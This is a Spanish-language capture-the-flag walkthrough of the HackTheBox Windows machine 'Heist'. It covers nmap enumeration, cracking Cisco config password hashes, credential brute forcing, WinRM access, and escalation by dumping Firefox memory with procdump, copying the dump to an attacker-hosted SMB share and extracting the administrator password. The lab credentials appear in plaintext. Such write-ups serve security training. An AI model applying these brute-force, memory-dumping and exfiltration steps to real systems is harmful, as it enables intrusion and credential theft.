Heist
| Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
|---|---|---|---|
| Windows | Easy | 10 Agosto 2019 | MinatoTW |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Enumeración inicial
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 22:07 -03
Initiating SYN Stealth Scan at 22:07
Scanning 10.10.10.149 [65535 ports]
Discovered open port 135/tcp on 10.10.10.149
Discovered open port 445/tcp on 10.10.10.149
Discovered open port 80/tcp on 10.10.10.149
Discovered open port 49669/tcp on 10.10.10.149
Discovered open port 5985/tcp on 10.10.10.149
Completed SYN Stealth Scan at 22:08, 26.51s elapsed (65535 total ports)
Nmap scan report for 10.10.10.149
Host is up, received user-set (0.15s latency).
Scanned at 2025-01-03 22:07:56 -03 for 26s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds
Raw packets sent: 131083 (5.768MB) | Rcvd: 23 (1.012KB)
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p 80,135,445,5985,49669 -oN servicesScan -vvv 10.10.10.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 22:08 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:08
Completed NSE at 22:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:08
Completed NSE at 22:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:08
Completed NSE at 22:08, 0.00s elapsed
Initiating Ping Scan at 22:08
Scanning 10.10.10.149 [4 ports]
Completed Ping Scan at 22:08, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:08
Completed Parallel DNS resolution of 1 host. at 22:08, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:08
Scanning 10.10.10.149 (10.10.10.149) [5 ports]
Discovered open port 49669/tcp on 10.10.10.149
Discovered open port 445/tcp on 10.10.10.149
Discovered open port 5985/tcp on 10.10.10.149
Discovered open port 135/tcp on 10.10.10.149
Discovered open port 80/tcp on 10.10.10.149
Completed SYN Stealth Scan at 22:08, 0.18s elapsed (5 total ports)
Initiating Service scan at 22:08
Scanning 5 services on 10.10.10.149 (10.10.10.149)
Completed Service scan at 22:09, 56.18s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.10.149.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:09
NSE Timing: About 99.86% done; ETC: 22:10 (0:00:00 remaining)
Completed NSE at 22:10, 40.08s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.63s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.01s elapsed
Nmap scan report for 10.10.10.149 (10.10.10.149)
Host is up, received echo-reply ttl 127 (0.15s latency).
Scanned at 2025-01-03 22:08:51 -03 for 97s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-title: Support Login Page
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3m03s
| smb2-time:
| date: 2025-01-04T01:12:54
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 48515/tcp): CLEAN (Timeout)
| Check 2 (port 23914/tcp): CLEAN (Timeout)
| Check 3 (port 25486/udp): CLEAN (Timeout)
| Check 4 (port 64920/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.50 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
Explotación inicial
HTTP (80)
Si ingresamos al puerto 80, nos encontramos con la siguiente Web, donde se presenta un login para iniciar sesión.

Ingresamos como invitado guest.

Vemos una conversación entre el usuario Hazard y el usuario Admin. En el primer comentario del usuario Hazard se adjunta un archivo de configuración.

El archivo tiene el siguiente contenido:
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
Por ultimo, el usuario Hazard menciona lo siguiente:
“Thanks a lot. Also, please create an account for me on the windows server as I need to access the files.”
Crackeamos las contraseñas usando la siguiente web.


$uperP@ssword
Q4)sJu\Y8qz*A3?d
stealth1agent
Crackeamos el hash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 usando John.

Aplicamos fuerza bruta con Netexec utilizando las contraseñas anteriores y los nombres de usuarios posibles Administrator y Hazard.

Genial, descubrimos la contraseña del usuario hazard.
hazard:stealth1agent


Las credenciales no son validas para winrm, pero podemos aplicar un RID Brute force.

Realizamos un nuevo ataque de fuerza bruta de credenciales.

chase:Q4)sJu\Y8qz*A3?d
El usuario chase si puede conectarse por winrm.

Leemos el flag de user.txt.

Elevación de privilegios

Vemos que esta corriendo Firefox, tal vez el usuario ingreso con firefox al panel y guardo las credenciales en este.

Subimos la herramienta procdump.exe.


Creamos un recurso compartido para trasnferir el archivo.
impacket-smbserver share -username guest -password guest -smb2support .
Montamos el recurso compartido en la máquina víctima.
net use x: \\10.10.14.4\share /user:guest guest
Copiamos el archivo.
cmd /c "copy firefox.dmp X:\"
Si interceptamos la petición con BurpSuite, vemos que el campo login_password hace referencia a la contraseña.

Filtramos con el comando string por el campo login_password en el archivo firefox.dmp y encontramos las credenciales.

Nos conectamos como el usuario Administrator.
Administrator:4dD!5}x/re8]FBuZ

Leemos el flag de root.txt.
